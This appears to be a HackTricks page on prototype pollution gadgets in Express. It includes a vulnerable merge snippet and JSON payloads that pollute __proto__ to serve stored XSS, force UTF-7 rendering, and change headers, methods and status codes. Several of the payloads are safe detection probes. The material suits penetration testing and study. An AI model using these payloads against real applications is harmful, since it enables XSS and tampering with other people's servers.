Skip to content

Latest commit

 

History

History
143 lines (92 loc) · 6.47 KB

express-prototype-pollution-gadgets.md

File metadata and controls

143 lines (92 loc) · 6.47 KB

Express Prototype Pollution Gadgets

HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥

Serve XSS responses

Change JSON content-type to HTML

In an Express app using a JSON content type response and reflecting a JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
    _.merge({}, req.body);
   res.send(req.body);
});

In these cases XSS isn't normally possible with a JSON content type. However, with prototype pollution we can confuse Express to serve up an HTML response. This vulnerability relies on the application using res.send(obj) and using the body parser with the application/json content type.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

By polluting both the body and _body properties, it's possible to cause Express to serve up the HTML content type and reflect the _body property, resulting in stored XSS.

Render UTF7

It's possible to make express render UTF-7 content with:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Safe Scanning Techinques

JSON spaces

The following PP will make attributes inside a JSON to have an extra space which won't break the functionality:

{"__proto__":{"json spaces": " "}}

Then a reflected JSON will looks like:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

The following PP gadget will make the server send back the HTTP header: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

It requires the CORS module to be installed

OPTIONS Method

With the following payload, it's possible to hide a method from an OPTIONS response:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

It's possible to change the returned status code using the following PP payload:

{"__proto__":{"status":510}}

Error

When you assign to a prototype with a primitive such as a string, it produces a no-op operation since the prototype has to be an object. If you attempt to assign a prototype object to the Object.prototype itself, this will throw an exception. We can use these two behaviours to detect if prototype pollution was successful:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

If the application is reflecting an object in the response you could just create an attribute with a weird name and the __proto__ one and if only the weird one is reflected is possible that the web is vulnerable:

{"hacktricks":"rocks","__proto__":"test"}

Or if Lodash or similar library is used, you can set a property via PP and inside the object and if that property is not reflected is because Lodash looks at the current object to see if the property already exists in the merged object:

{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
// If only b is reflected then PP in Lodash

Misc

Allow Dots

There is an option in Express that allows you to create objects from query string parameters.
You could definitely use it in a bug chain to exploit a prototype pollution vulnerability.

{"__proto__":{"allowDots":true}}

?foo.bar=baz create an object in Node.

References

HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch Wed - 18.30(UTC) 🎙️ - 🎥 Youtube 🎥